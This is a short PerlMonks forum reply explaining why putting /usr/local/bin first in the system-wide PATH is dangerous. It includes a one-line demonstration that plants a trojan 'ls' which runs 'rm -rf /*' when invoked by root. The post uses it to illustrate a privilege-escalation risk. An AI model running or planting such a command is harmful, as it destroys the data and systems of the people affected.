http://www.perlmonks.org?node_id=672204


in reply to Re: My first USEFUL script!
in thread My first USEFUL script!

put /usr/local/bin as the first entry in PATH system-wide

This would be a really, really bad idea. 

joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/
+local/bin/ls; chmod +x /usr/local/bin/ls

[download]

The next time that root runs 'ls', the system is gone.

In Section Seekers of Perl Wisdom